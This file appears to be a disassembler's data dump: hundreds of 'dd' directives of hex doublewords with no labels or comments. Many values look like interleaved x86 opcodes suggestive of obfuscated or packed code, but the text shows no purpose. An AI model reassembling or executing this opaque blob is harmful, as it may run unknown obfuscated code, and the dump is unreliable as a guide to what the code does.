		dd 13E961EBh, 34000000h, 0E9FC2464h, 0C692E480h, 395096A0h
		dd 0EDD1AA90h, 0F9602724h, 9AB8BB61h, 8B66631Bh, 13E8DEh
		dd 75610000h, 9A5281C6h, 27B17351h, 8778FDACh, 2E975656h
		dd 0EFBA6655h, 80605E6Dh, 8D0FFEEBh, 3,	61CABF0Fh, 9E8h
		dd 5DCBC700h, 0A25769CFh, 37BBE161h, 5B2A84F5h,	0FF6B70Fh
		dd 0C88BD9B7h, 0FC7B70Fh, 38Ah,	63C68000h, 14E9F5h, 6E380000h
		dd 5F722BE8h, 5B6ABA80h, 9907CFBBh, 0A9C3386Ah,	0F5652A4h
		dd 1087h, 0AE800h, 50ED0000h, 1672C096h, 0A62D65ECh, 0BE9595Bh
		dd 74000000h, 0C4740D47h, 0C8547E02h, 50F51B55h, 0DE957h
		dd 0FB2D0000h, 2EF45E76h, 28379394h, 58A79A00h,	0E9DE8A5Bh
		dd 7, 157FD26Eh, 8BCFDBDFh, 9E9D6h, 3CF50000h, 3115F136h
		dd 8B9673E0h, 0B9F9BFF9h, 0F281642Bh, 15773130h, 0F773BA66h
		dd 7810Fh, 0BB500000h, 0AA11088h, 1820F5Fh, 0F8000000h
		dd 0AE9h, 14CD1500h, 1E1B767Eh,	529D3128h, 0C7CE8166h
		dd 66515B6Ch, 0E1DDE381h, 0F7C3815Eh, 0F54D64F6h, 10E9h
		dd 0C72A6F00h, 86563701h, 7B48F304h, 0BACA461Dh, 11BE66ECh
		dd 6E9B4h, 0B590000h, 66D0B441h, 8BFAB70Fh, 0E9C38ACFh
		dd 11h,	0F5A5C5E1h, 670AEBF3h, 880C8204h, 0FF037462h, 0EF81662Dh
		dd 0D0807D2Ch, 0CD480BBh, 10E9h, 8D42DC00h, 69FAA172h
		dd 356A3494h, 0DA70B588h, 66F78B8Eh, 0C90DDF81h, 0DE9h
		dd 457D8500h, 0D4FF3447h, 3CB690D5h, 8B660249h,	11E8C2h
		dd 0C5AA0000h, 0CF24D5B0h, 7EA1CE56h, 70669F79h, 0F90B2A5h
		dd 0F58CBB7h, 382h, 25DB8000h, 0C1E28166h, 0F7DB3FAh, 88Ch
		dd 840F5300h, 0
		dd 8A0F605Eh, 5, 6BDB8166h, 44B961B1h, 0E90EEBABh, 7, 0F92C04F9h
		dd 0B8CE78BEh, 0C3045B4h, 8820Fh, 8B0F0000h, 2,	0B866D38Ah
		dd 0BB66F38Ah, 8B0FCAFCh, 5, 5FF38166h,	31CDBF92h, 0CF810857h
		dd 46475A8Dh, 0CFF3CB81h, 53F506B2h, 92ED805Fh,	0F95F480h
		dd 178Ah, 12E900h, 0B8310000h, 8D51ECA2h, 0BEBFA67Fh, 281957E6h
		dd 3CA4E3E2h, 79C38166h, 10840F81h, 60000000h, 6E9h, 45229000h
		dd 0FB2DFB6h, 6661DABFh, 530DE381h, 9E9h, 97818500h, 0EA3414B3h
		dd 850F6704h, 4, 6BFDBA66h, 1CBFAFB3h, 0F60FDBCh, 48Ah
		dd 0F18B5300h, 0AE9FC5Bh, 0C6000000h, 519A5281h, 0AC27B173h
		dd 5E9FDh, 0A32D0000h, 0BEDD8F00h, 505773DEh, 0EAEF81F5h
		dd 6640462Bh, 0F818FBBh, 8B60DEBFh, 0CB8166DAh,	0F619870h
		dd 87h,	44BA6600h, 5CBE6662h, 0D1BF0F41h, 0FE9h, 0E8183500h
		dd 0EE720825h, 4874610h, 82BC40A2h, 0D278BF66h,	6E9h, 7FD36400h
		dd 0F8BA35ACh, 0E8F6BF0Fh, 0Eh,	6B8773FFh, 5D48F578h, 75B0A53Eh
		dd 665E634Fh, 0FD6AABBh, 889h, 2810F00h, 56000000h, 10E85Fh
		dd 2FBC0000h, 0C4FA4AFCh, 0FF88FFB8h, 3F127CD8h, 9E9203Ch
		dd 0BE000000h, 0B636FBEDh, 0EC647C4Ah, 6680B159h, 0BEB3CF8Bh
		dd 0E8CB8B66h, 12h, 0FB3214E1h,	0DC215EADh, 6C1BCCA0h
		dd 0CA87DC2Eh, 8B661021h, 880F58C6h, 2,	0BF0FF18Bh, 880FF5DEh
		dd 0
		dd 5E952h, 5D8A0000h, 5E7C59F8h, 0CE9h,	0CF2FA500h, 0E1DB69ABh
		dd 0FE9CD06Ah, 0FE91Ch,	32970000h, 0E9DD6A8Ch, 5C4285A7h
		dd 0C34120E9h, 8E9C0h, 16090000h, 0E4812029h, 6E8D48Dh
		dd 8B000000h, 4CA2581Eh, 840F51D3h, 0
		dd 81665F5Eh, 0E9D6E0CAh, 11h, 0D767B3D8h, 88ACC4AEh, 169C6882h
		dd 2E844966h, 94BA66A4h, 0D25CBAB2h, 81663CB9h,	0FC708E8h
		dd 0AE9CAB7h, 98000000h, 2703DCCAh, 3D41529Eh, 99BF60B0h
		dd 0F943218Bh, 0B136BE61h, 0F38B614Eh, 13E8h, 4CA5C200h
		dd 11F5335Ch, 73716EB3h, 5DBD4A51h, 20953F81h, 0DF8B59F9h
		dd 0DE9h, 410F4B00h, 1695ADD0h,	0C91F592Dh, 0CE8B5FACh
		dd 8E9h, 0F52EF700h, 0C0DA3AAEh, 0B4DA8116h, 0E94F5F2Eh
		dd 9, 1D2A2DE1h, 0E11B67Fh, 14E9DCh, 0FE50000h,	227403BBh
		dd 4F479681h, 0C3D0F7A5h, 0BC8DBC41h, 0DE8A859h, 0B1000000h
		dd 2670913Eh, 6925EB94h, 43A7078Dh, 6F493B8h, 66605E57h
		dd 6661D38Bh, 58F4D281h, 0B0DBBF0Fh, 13E91Ch, 4A620000h
		dd 208B0360h, 0E387BBD3h, 7448463Bh, 0C5CF7D1h,	25B1F5A2h
		dd 9F52BE66h, 0E95EFC53h, 0Ch, 0ED0B85D6h, 72A449C6h, 41AAE072h
		dd 810F56FCh, 2, 0E85EC4B6h, 9,	91E110DFh, 5B5AA431h, 0A7DF81CBh
		dd 5E4452EAh, 4A9BA5BFh, 9E840h, 6D470000h, 58973099h
		dd 816E28F5h, 0EFEAEAE2h, 0BE665F48h, 0B70F0E9Dh, 0E960FCC9h
		dd 11h,	6B4BC4ABh, 0A595D2DCh, 1ED79705h, 0A485B9CCh, 6DC1BFAEh
		dd 66612EB2h, 6660C38Bh, 2DC5DF81h, 8A61F18Bh, 8E0F60CEh
		dd 5, 35C98166h, 67D0B8E7h, 0E96131B5h,	0Bh, 0C36A72ACh
		dd 393AD7E3h, 8A1DD1FAh, 1FC881D8h, 6611C772h, 66133BBAh
		dd 0B8ACF7B9h, 2E56FE57h, 8ACA8B66h, 0EE9D5h, 4D680000h
		dd 66C229F8h, 8878A87Dh, 55CE827Eh, 0B8A0Fh, 6E90000h
		dd 0E9000000h, 69EE1D53h, 0F60F840h, 0B1B7C9B7h, 0B70FF561h
		dd 9E9C3h, 7E7D0000h, 35D6573Dh, 0E9862BACh, 11h, 0AE0CA881h
		dd 4D388473h, 0FA5C0548h, 96802BE6h, 52BFB170h,	5FD3BF0Fh
		dd 4840F52h, 66000000h,	58F081B9h, 0A838C381h, 14E931F5h
		dd 0D4000000h, 0B463C25h, 15811334h, 9CC49E41h,	0AB764E92h
		dd 81FF4786h, 1D08F2E0h, 0DF8B6679h, 890FC78Bh,	8, 850F50h
		dd 5F000000h, 53C6BF0Fh, 5B37DD80h, 0DE9h, 0C837B300h
		dd 0DB36965Eh, 93804E94h, 0AE8B163h, 42000000h,	0CB21276Ch
		dd 849D9627h, 6800F32h,	81000000h, 8B63D2D9h, 0F525A54h
		dd 665FC2B7h, 0E2BDC881h, 0CF8B6656h, 6657F55Fh, 6995C381h
		dd 0CBB70F5Ah, 0D8816656h, 0F58D203h, 0C83h, 7E900h, 0C53C0000h
		dd 0C0A5CE12h, 0C280F52Bh, 0E86060D3h, 0Dh, 8EDDC133h
		dd 154C0C86h, 9139036Eh, 61FC5EB9h, 0F861CB8Ah,	0E881F38Bh
		dd 4BE68763h, 663ECF80h, 80F8C18Bh, 0DA8BF7C4h,	68B5F381h
		dd 0AE97F6Bh, 13000000h, 4E42CFD0h, 52BF6A26h, 0EE816678h
		dd 0BE917B3h, 0D6000000h, 63807E96h, 0E984824Ch, 81668758h
		dd 804EA9E2h, 0EFB778F7h, 5E9h,	3B2CDE00h, 0DC808699h
		dd 4860F4Ah, 66000000h,	0B83394B9h, 1D9A02E5h, 66F98B66h
		dd 906BD681h, 45C0C881h, 81664569h, 0B1FD14C3h,	10840F19h
		dd 0E9000000h, 0Bh, 0A98DA3E8h,	63366E1Eh, 81AB6A6Ah, 0D1BEFFC6h
		dd 11E836h, 0BBB30000h,	671577A7h, 0B0975819h, 0D3A4D897h
		dd 0B273C5BFh, 0BA6658F7h, 8B66CD97h, 10E9FBh, 63A60000h
		dd 0BB6DA91Ah, 0DEA6ECA9h, 68DB6A3Ah, 0D68B323Fh, 0F60F1B5h
		dd 8B0FDBBFh, 3, 61F3B70Fh, 14E950h, 0A30A0000h, 468D6EF7h
		dd 5A64023Ah, 4527D09Bh, 786D5479h, 0F5AD097h, 680h, 58536000h
		dd 6661F98Bh, 8671E681h, 0BA25EC80h, 1F7A9616h,	0C88166FCh
		dd 0E9F59B12h, 12h, 786CCD7Dh, 4D88FDFCh, 88AB5018h, 5C0CF6DBh
		dd 7FB2A0F3h, 0B1C7DC80h, 0FABA62h, 890F052Ch, 3, 8108C480h
		dd 0F2749CDFh, 0FC2B64Fh, 58Fh,	0D3816600h, 800FFA11h
		dd 6, 8BF88B60h, 0B96661CAh, 8E0F43BEh,	1, 5EF956F9h, 5E74B453h
		dd 0E9C0B70Fh, 13h, 0C7C806E0h,	21C5254Fh, 6B14A879h, 0D9DAED97h
		dd 0B07006D8h, 0EA816653h, 8B5776E7h, 0F6058F8h, 1287h
		dd 0CE800h, 5770000h, 35E90BA1h, 1D61C655h, 0E95E9724h
		dd 12h,	9CD5B88Ah, 0A05CEB0Dh, 88C3C94Ch, 57EA79C3h, 806182ADh
		dd 8166BAE7h, 0F9AD9ED9h, 6CB9D58Ah, 0F472981h,	0D85h
		dd 8E900h, 0CDFF0000h, 102624E6h, 8166444Eh, 0B5B935CFh
		dd 8166F9BCh, 0E84417EFh, 0Eh, 4195160Dh, 2053361Eh, 0A2994F8Bh
		dd 8B660283h, 6DBA5FFBh, 667B5DD3h, 0C781C18Bh,	0EB00EA2h
		dd 0AE9h, 92F2C700h, 1A6A7374h,	0F28C6CAh, 10E8C9B7h, 38000000h
		dd 4A41C9AAh, 97A3EA8Dh, 644FA055h, 0E9713E91h,	6, 0E78FAACEh
		dd 665E89E0h, 7F72CA81h, 8166FE8Ah, 66A31BDFh, 0CE8DA8Bh
		dd 0FA000000h, 1E1CF19Fh, 703D816Bh, 0F94EC1D2h, 0A291BE59h
		dd 5B507299h, 0B735DE81h, 8E0F6F33h, 1,	0EE8F8h, 86F0000h
		dd 6F4ADB3Ch, 9F3EF773h, 0FF2529D5h, 22CE8166h,	8A0F595Fh
		dd 5, 0C3C28166h, 0E9FB8B0Fh, 6, 95237E8Bh, 0F5530BACh
		dd 3830F58h, 0F000000h,	870FC0BFh, 10h,	0BE9h, 683A4400h
		dd 0B81B0864h, 0D057171Ch, 38D08166h, 0BE957D8h, 0B0000000h
		dd 6DC4F5FCh, 0F229C8A8h, 525B22F4h, 38F0Fh, 8B660000h
		dd 800F59CAh, 0Ah, 5E9h, 56FEC00h, 8B66AD69h, 0F38B66DAh
		dd 1B4F781h, 8A0F118Dh,	7, 0F585060h, 0B861C3BFh, 750F6EEDh
		dd 0FCA8B66h, 0B8Bh, 5880F00h, 0BA000000h, 244FD282h, 0F0CE380h
		dd 8B66C9BFh, 8A5652F8h, 0BE5A59DCh, 6049A7B2h,	6E90BB5h
		dd 67000000h, 0A476D105h, 0F7B45221h, 0EE958h, 92A90000h
		dd 645C8F99h, 90939FCCh, 3ABAB064h, 5E9F8h, 0B6EF0000h
		dd 0BE9BA281h, 6A75E9A6h, 13E95250h, 18000000h,	2156A81Bh
		dd 1C6F2DE4h, 0C702EF3Ch, 10129E9h, 5F5EFAA9h, 0DEBF0FF9h
		dd 66C78B66h, 0E9DAAABAh, 0Fh, 969443B4h, 16CDAFDCh, 9E375955h
		dd 60E63A62h, 10E9h, 6B68C700h,	0DA0239Bh, 0CD3F69A7h
		dd 338DDDA6h, 0F7816634h, 8161B899h, 345C09EEh,	0FFE8B5Ch
		dd 686h, 0A6CB8100h, 56679210h,	61616060h, 890F605Fh, 6
		dd 8B0Fh, 0B7610000h, 0F3BF0FA4h, 3890Fh, 0BF0F0000h, 8ADF8BDBh
		dd 0F9F9F8E8h, 5FFB3AB9h, 148E0F62h, 0E8000000h, 0Bh, 0B4598054h
		dd 257C9A8h, 66B9781Fh,	0E95AD78Bh, 8, 0DD5BF4D1h, 65B79F10h
		dd 0D78166F9h, 8E9A327h, 0F4000000h, 2B62C9EDh,	66E0C1ACh
		dd 0BF0FF38Bh, 0DE8B66D6h, 0B3DFC881h, 0BA665624h, 8D0F0735h
		dd 0
		dd 5800Fh, 66510000h, 665BC18Bh, 0FA21F781h, 0DFBF0F60h
		dd 61D9B70Fh, 4BF6B866h, 920816BAh, 8C0F5265h, 6, 0D64E281h
		dd 0E85E7AF9h, 0Bh, 162BDC72h, 6033F96Bh, 58266352h, 7E9h
		dd 0E0BC3E00h, 4F006314h, 1EE38160h, 0F5F47C8h,	28Ah, 61EDB400h
		dd 14E9h, 0EE19700h, 825BB36Ch,	18EBE9C9h, 6FCF33CEh, 0FD345D2Eh
		dd 0F5F280B0h, 0CE9CE8Bh, 14000000h, 0C522B08h,	0DD71C78h
		dd 0F9F37004h, 0DC4D71BBh, 13E90Ah, 0B2D50000h,	4338EAE0h
		dd 0F3B51D78h, 0F511DF2Bh, 94D052C7h, 0C860F6Dh, 0F000000h
		dd 68Eh, 0C5C28100h, 0F3D3278h,	38Eh, 0C9BF0F00h, 0EE9h
		dd 0BECAE200h, 0E6AC7ACBh, 5B0330E5h, 8BD22F72h, 8CE181C7h
		dd 0F6415A2h, 48Dh, 0CABE6600h,	1A800FF1h, 0F000000h, 1482h
		dd 0FE900h, 90490000h, 85B5179Ah, 5C6390A8h, 7069BEF8h
		dd 57F48A6Eh, 0F60F559h, 1687h,	10E800h, 2FBB0000h, 95352905h
		dd 6554B1EEh, 22E261C5h, 6659C8EFh, 0F61D68Bh, 584h, 8BD4B800h
		dd 0F561AAEh, 28Bh, 59E8B500h, 17820Fh,	0E9600000h, 10h
		dd 9DD2F4E2h, 3F6F4628h, 90D43CB3h, 9CC110FFh, 13E961h
		dd 0C59F0000h, 0E7AA5693h, 7B7A9895h, 6BEEAF67h, 58BF30F1h
		dd 51D0810Dh, 0F6A364Dh, 784h, 1890F00h, 0F5000000h, 66C6BF0Fh
		dd 0B70FF28Bh, 0EE9FBh,	0C5350000h, 3E0E1B1h, 2E27530Bh
		dd 9642C765h, 41EA8166h, 66F98B89h, 667387BBh, 0B8BB57BBh
		dd 17372A3Bh, 0BE60CB8Ah, 186BFF6Eh, 95ADF81h, 0F616414h
		dd 181h, 0D78BF900h, 0BAD9BF0Fh, 54D60844h, 0FC3BF0Fh
		dd 6660F6B7h, 0FCDEBBFh, 288h, 61C88B00h, 2491EB81h, 8F0F6E46h
		dd 9, 38E0Fh, 0BF0F0000h, 0EE9C0h, 72CC0000h, 6C62104Ah
		dd 5ECC7547h, 0A3EC5472h, 8B666060h, 0AE8D7h, 1CE10000h
		dd 1FA9CC2Eh, 18E1F959h, 0DA816159h, 81AABE9h, 10E9FC61h
		dd 2D000000h, 14FDF02Ch, 24FEF42Eh, 0C39AD4FEh,	5629ACD3h
		dd 58CAB70Fh, 60F8B70Fh, 61E28AF5h, 0FCE8AF9h, 86h, 0C4B15700h
		dd 14F68058h, 0BE9h, 0F65BF700h, 0F8546E8Ch, 8D1CEEC6h
		dd 58E0Fh, 81660000h, 603253E6h, 76D38160h, 0E95B5A05h
		dd 13h,	36129DECh, 6C31E97Fh, 57D411FCh, 48EC4B67h, 612379AAh
		dd 0BE9h, 0ABD26200h, 0D8C2B02h, 79FC145Bh, 0D8B86661h
		dd 0DE96Dh, 901A0000h, 4BB70585h, 288C781Ch, 0E9C8CE1Fh
		dd 13h,	2ABBD854h, 7A01C09Bh, 8EE3A1Ah,	584358F5h, 0F369811h
		dd 28Ah, 8AD18B00h, 0CEB70FC8h,	9E8h, 0FB4D600h, 0C8AFF110h
		dd 0BF0F22A6h, 860F58C2h, 0Dh, 8E9h, 0B3176800h, 96F40694h
		dd 9E87Ch, 1A210000h, 0C179785Fh, 0E9D1CBABh, 8, 91134455h
		dd 7D8247F3h, 7E85Ah, 0FF180000h, 1651828h, 66F95A25h
		dd 5B36E081h, 28E0F60h,	0B5000000h, 6E9A1h, 0EA570000h
		dd 5FC80E45h, 0D78B6661h, 3840Fh, 0C1800000h, 0E9DA8B90h
		dd 0Ch,	0CC8DCC32h, 0E46AFD56h,	5BDE29FCh, 5EC18B51h, 820FD38Bh
		dd 3, 80F0BF0Fh, 64B0A4DAh, 0CD805360h,	666059B1h, 819FF9BFh
		dd 85FFA4D0h, 66616163h, 0B9FC1ABBh, 3AECDB54h,	0F2CB460h
		dd 0E861C7B7h, 9, 0B1AB373Ch, 0D3B6E1EFh, 7B35971h, 0E800Fh
		dd 9E90000h, 51000000h,	17834D35h, 0AE18CBE4h, 0AD17E681h
		dd 0C2814926h, 161B133Ah, 0F880Fh, 0AE90000h, 0CD000000h
		dd 0E6A1F64h, 3A656327h, 10E951AFh, 0FE000000h,	15BA2DF1h
		dd 3A5B8BACh, 7DC95E45h, 59ABF4E1h, 81F9D08Bh, 0A70D28D3h
		dd 0FFB70F7Fh, 0AE9h, 3A734400h, 64EBF52Dh, 66A5486Dh
		dd 80CDB5BBh, 0E88171EAh, 7B4D173Fh, 320B966h, 0F2EA8166h
		dd 0EFB8661Ah, 19CD801Ch, 73E280F8h, 59DBE781h,	8B662304h
		dd 0D08160D9h, 6F1866BEh, 6631CB81h, 0F6133A1h,	87h, 0FEBF0F00h
		dd 14E9h, 19C36800h, 6F3602CCh,	0E4F7692Fh, 0A0DE6CABh
		dd 0D5E76A7Eh, 0AE801h,	0C6900000h, 64958B36h, 3CDA0E67h
		dd 58A3C080h, 0AEE497BEh, 665EB206h, 8A0534BEh,	7E956E7h
		dd 1F000000h, 31BF9F88h, 8B5B806Ah, 74A4BAF3h, 81662286h
		dd 50F923D7h, 8F0F60h, 0E9000000h, 0Fh,	0D4EBC5E7h, 0CBDBABF1h
		dd 8C7191A1h, 61F18273h, 0E3816659h, 66F5121Fh,	0E4F2E081h
		dd 0B7EA8166h, 0C0D7B9F7h, 0F68052FEh, 800F53h,	0B5000000h
		dd 0EB816615h, 0DBB1787Dh, 6BB526B6h, 4B71BB66h, 0BFC2BF0Fh
		dd 6AFF99EFh, 3B9817B8h, 11E8536Dh, 0B3000000h,	86EB1F2Bh
		dd 0D9F7C487h, 90F2CD53h, 19D0ADEDh, 0E1DBBF66h, 0BF665A5Bh
		dd 0CE9C5FDh, 0B9000000h, 0E28155Eh, 666E8EF5h,	8BD94891h
		dd 0C8B866F9h, 0D48051C7h, 0F605E8Fh, 386h, 0F0D58000h
		dd 9266BF66h, 54CBB961h, 8E85C78h, 5D000000h, 4DF57707h
		dd 0FE0ECC3h, 286h, 5FB0B500h, 6C07EB81h, 860F7A57h, 0Dh
		dd 5E8h, 0D4294200h, 0E2B1DD6Fh, 6658515Bh, 0E9627CBAh
		dd 0Dh,	2D285ABBh, 0F12C3CEBh, 1E254EB3h, 4840FB2h, 66000000h
		dd 600453B9h, 0DD04B866h, 2810Fh, 1DB60000h, 3800F61h
		dd 80000000h, 69B806ECh, 802B881Ah, 0DCB770DDh,	148D0Fh
		dd 850F0000h, 0Eh, 9E9h, 97041A00h, 0DBFA0BBCh,	0BA66D098h
		dd 8EB2DD87h, 0AE9h, 0A1C1CF00h, 0DD80B8AFh, 0F264237h
		dd 183h, 8B66F500h, 0E88150C1h,	4C2C343h, 10E96058h, 14000000h
		dd 853425DCh, 84A50AF1h, 3D1C7EFAh, 60E666BDh, 5B40B966h
		dd 6E8h, 28A8CD00h, 5FF1C0ABh, 8B666161h, 8E9C3h, 0DB290000h
		dd 9D4901A1h, 8B6600ADh, 7ED580D0h, 0DBE53F9h, 5B6853CEh
		dd 6F0EB866h, 14E9F98Bh, 65000000h, 0A442FD3Eh,	6CDB6E7Dh
		dd 0DCD02AEEh, 0A4C18881h, 6617856Ah, 0BF0FC18Bh, 4880FD6h
		dd 66000000h, 0FCFF92BEh, 60F9CB8Ah, 0E9F9BF0Fh, 0Ch, 85CA5300h
		dd 0D56DCBB7h, 0BA7BCFFFh, 48D0F61h, 66000000h,	0F060EBFh
		dd 12E9D1B7h, 1000000h,	3E4D7E0Dh, 4FC20815h, 4F80BA76h
		dd 0B4DCD44h, 4AD880B5h, 547870BAh, 0CE81660Bh,	9E97BDAh
		dd 1F000000h, 63270E6Ah, 3BAF3A65h, 6E9h, 21603800h, 0F8D8B4Eh
		dd 0F51F1BFh, 38Ch, 0D8BF0F00h,	86C3BE59h, 816609E9h, 0B5D736D9h
		dd 24DA8182h, 66081321h, 66C177BAh, 0B9DC18BAh,	5C430396h
		dd 58B0Fh, 81660000h, 0F33DDC1h, 128Bh,	7E800h,	0BFA30000h
		dd 7D8FA095h, 4D87BF17h, 605A3AB0h, 6E9h, 0C768900h, 818FBDDCh
		dd 1CCACDF6h, 0BBF5614Eh, 4354325Ah, 0FA0CE80h,	5651C0BFh
		dd 12E9h, 46120D00h, 2B69DB71h,	97CCDC2Dh, 0F823B354h
		dd 5E4349AFh, 0E8D48A5Bh, 0Bh, 0E64D16F5h, 0BACC11A4h
		dd 8BF24F9Eh, 0F2805BF8h, 0CE85382h, 31000000h,	0EC879EC2h
		dd 0DE26BAC4h, 667E58BAh, 5A551ABEh, 8E85Fh, 59B50000h
		dd 8DB81257h, 0D68B2C60h, 66D98B5Bh, 649BEA81h,	0B201D980h
		dd 0DE8CDh, 7DA80000h, 0F3C1F14Ah, 44EEBEF7h, 0F51ECB32h
		dd 0F71B05Ah, 683h, 0EE08100h, 0F3F727Bh, 285h,	8BCE8B00h
		dd 0F88B53C8h, 66ECB258h, 0EB80FE8Bh
		dd 0E9F98A99h, 0Ah, 0FF516ED3h,	0EBCC906Bh, 0E9502F5Dh
		dd 7, 9D44374h,	5AEAA991h, 0BE8h, 0E7D22600h, 0AB08940Dh
		dd 0B0EF5A60h, 9E8h, 0E256BB00h, 95578211h, 81664208h
		dd 5B6BE7F6h, 0BF60605Bh, 89B0745h, 9E8h, 80F25D00h, 2AF00357h
		dd 61589DE2h, 9E861h, 630D0000h, 5011C08Bh, 0E95B422Ah
		dd 9, 8E57E5D7h, 71DB19B8h, 870F5956h, 16h, 0BE8h, 0D266A100h
		dd 8F7DB727h, 0D8F31470h, 3F3C69B9h, 0E0815F0Bh, 4CFBB698h
		dd 66EBB7F5h, 0B4CDC181h, 0E9F5CF8Bh, 10h, 0D5ABFBB0h
		dd 6FDC562Dh, 3D476475h, 49196666h, 2FCE8166h, 0A830BBF7h
		dd 0EE87290h, 0A8000000h, 2C997174h, 0FE784EBCh, 0F9464AC0h
		dd 0AE9C0h, 0A97C0000h,	8A02186Fh, 28507F27h, 60D0B15Eh
		dd 28A0Fh, 0F78B0000h, 0EE8h, 0A21D3F00h, 0D7420EDFh, 206C9563h
		dd 5E8CF8EAh, 0D6BE6661h, 0DF816695h, 13E87988h, 0A1000000h
		dd 91F6961Eh, 0A3069DF8h, 0CF6B0CD3h, 927C437h,	6E880D2h
		dd 0B7000000h, 0A5158DB7h, 59616085h, 0EE958h, 0A2520000h
		dd 0C8A5464Eh, 0AFBC1B3Ch, 0C4690AADh, 816628B6h, 0FAEBECFh
		dd 0F56F9BFh, 0F89h, 9E800h, 0FD470000h, 3473DED1h, 5E2CF6BBh
		dd 0FF38B5Eh, 0BB66F3B7h, 820FB6D2h, 3,	8AF1B70Fh, 0E98160D5h
		dd 39638758h, 2860F61h,	8B000000h, 9E9F3h, 992C0000h, 91106F11h
		dd 0F6EB632h, 138Ah, 0AE800h, 59680000h, 9F32B04Ch, 90BA66B9h
		dd 59FFB70Fh, 0E8B3E180h, 0Eh, 3E3A4A3Ch, 82AC9664h, 0FF854224h
		dd 0B70F033Fh, 666058CFh, 0F1F0D681h, 8161E28Ah, 0A518FECAh
		dd 8E912h, 58370000h, 35101395h, 8B669246h, 0FCFB8BC8h
		dd 8C0F6160h, 0Ch, 7E9h, 7BB65900h, 6C4B8B3h, 0FE856h
		dd 17A30000h, 0F3B9B204h, 0F17773EFh, 126F0364h, 8B5A5FE0h
		dd 0E68166D9h, 0EA80121Ah, 0C830F79h, 0F000000h, 68Ah
		dd 2D88100h, 0BE7A36CAh, 7B8A2ABFh, 0C081CB8Bh,	6A87AFB6h
		dd 33FFBFFCh, 0D9806BBCh, 0D1B70F86h, 0AE8h, 90EBA100h
		dd 43CAD94Ch, 81B37452h, 3C4096C1h, 0EC805843h,	0CE886h
		dd 0D4AE0000h, 0ECE8D98Ah, 445B9DD7h, 0F3801A49h, 0B70F5A2Dh
		dd 6850FF2h, 51000000h,	0C28BF66h, 64CDBE5Fh, 0F78B3BA0h
		dd 0FDEC180h, 1088h, 7E800h, 0ED410000h, 9F03D4h, 0F98B66ABh
		dd 7EE1B85Eh, 0BB663EB5h, 0B70F8AF0h, 11E957CFh, 57000000h
		dd 7FAA9EAFh, 3079D9FDh, 3F0B3F37h, 698791BFh, 3870F5Ah
		dd 0F000000h, 0AE9D0B7h, 1D000000h, 5FB824F0h, 0F0C331B6h
		dd 0D881666Ah, 5E9554Ah, 89000000h, 3D1890D7h, 0DE95053h
		dd 0F7000000h, 91846A1Dh, 46ADB3DEh, 23F5555Ah,	0F18B5E5Ah
		dd 2DD08166h, 0FE9F7h, 6A240000h, 67D72605h, 0B2C23DCBh
		dd 5DD0D137h, 0C3816636h, 0FE94C7Bh, 27000000h,	190CC9BFh
		dd 2C055847h, 633E7308h, 13E956F2h, 2E000000h, 8D28BA4Eh
		dd 4AD57650h, 0FCA228D9h, 5BFB004Fh, 36BBBDCAh,	0E80A89EEh
		dd 11h,	9130C3F1h, 73A4F8D2h, 19E1089Ah, 295776C2h, 5840F57h
		dd 0BF000000h, 1F8D88DEh, 8E95Fh, 5A20000h, 9449B2Eh, 0BF0FE7A1h
		dd 18F0FF9h, 0FC000000h, 8BDE8B66h, 0D025B8CEh,	7DB62B2Fh
		dd 10820Fh, 0BE90000h, 72000000h, 82C654BCh, 51EFE146h
		dd 0CE81C0Eh, 81000000h, 3F7DA711h, 4CA9DBB1h, 8B963560h
		dd 8B665ECFh, 0E839B0D6h, 7, 17F7426Eh,	0FF80788h, 0E95BF3BFh
		dd 12h,	98FE002Ch, 3CC6669Dh, 0A9E3FD79h, 0CA0F8E84h, 33BE1BB9h
		dd 6649C176h, 2D94DA81h, 6660C88Bh, 6661F38Bh, 6E85CE81h
		dd 18E0Fh, 0E9FC0000h, 0Dh, 0A3EDD65Fh,	7EB47740h, 0C5F2C016h
		dd 870FF908h, 10h, 0BE9h, 2EF5AE00h, 0E9F2DC0Bh, 0DFDB8F6Eh
		dd 0FF0BF0Fh, 84h, 12E900h, 6B110000h, 6E2A6412h, 0CBC7044Ah
		dd 5769CF5Dh, 30E161A2h, 5E9h, 0C20E5F00h, 8D0F1A25h, 2
		dd 8B66B1B5h, 0F78166CEh, 0B70FBAC7h, 9DD680FFh, 8F0F60F8h
		dd 0Dh,	8E9h, 3AB5CA00h, 1951E01Fh, 61B0B192h, 896FE081h
		dd 88B04697h, 8166FE8Bh, 0F0B8EEEh, 68Fh, 0A4C78100h, 8B53F039h
		dd 0B3B6F5F7h, 0BA66F38Bh, 7E9FF57h, 4E000000h,	3CC8A546h
		dd 66F5BC1Bh, 6650EDBEh, 0B8458EB8h, 0CB94BFAh,	8C0FCE8Bh
		dd 0Bh,	5820Fh,	0E4BF0000h, 0F08BF52h, 1987h, 14E900h
		dd 0B8CC0000h, 783C3737h, 9F935CACh, 988BFBD0h,	0CCA68A0h
		dd 81664ED0h, 8166EBE9h, 68A724C6h, 5E874h, 196A0000h
		dd 80787B45h, 0F5BF2F3h, 28Bh, 0E8FE8B00h, 6, 2BCE00DCh
		dd 10E8AF68h, 7000000h,	6FC39665h, 0D513C852h, 0FFEF2F45h
		dd 0E9CDEE79h, 0Bh, 46E4A40Bh, 3D147A63h, 58D705E5h, 5860F5Ah
		dd 66000000h, 4BCDEE81h, 8AD3BF0Fh, 11E9E6h, 70CB0000h
		dd 9F232810h, 0F9BD0E60h, 50667F4Dh, 0B1C19CE9h, 0E8606049h
		dd 0Dh,	473E6F9Fh, 0AAD27B67h, 9A3F409Bh, 61605E3Ch, 13E86061h
		dd 0B3000000h, 48A8ED6Dh, 0E22E1A16h, 0B38B64F9h, 93BABB48h
		dd 805958DDh, 6161CBECh, 6E9h, 0A7824100h, 0E9CE6814h
		dd 0Dh,	1BC4FB6Bh, 2A9D74A4h, 804652Dh,	5840FBBh, 0B8000000h
		dd 644A7CE5h, 0CD56B966h, 12E8h, 0F77F6400h, 88670EAAh
		dd 40D4EC77h, 40B5D8FEh, 53BBBFC9h, 5EDBB70Fh, 8E95Fh
		dd 9B340000h, 48591C7Ah, 0E7815A91h, 78A5CACBh,	0B70FEA8Ah
		dd 1860FF7h, 0F5000000h, 0DE8h,	0DA368700h, 0C9E3DD14h
		dd 0BFEC30C8h, 0FE998A4h, 58000000h, 0CFE49B8Eh, 0DDC06716h
		dd 0C513F8F7h, 0FC58B34Fh, 8E8h, 61E7C600h, 1B7B1EECh
		dd 148F0FEDh, 0E9000000h, 0Fh, 46E6BF9Eh, 0D8532E8Dh, 81CA6770h
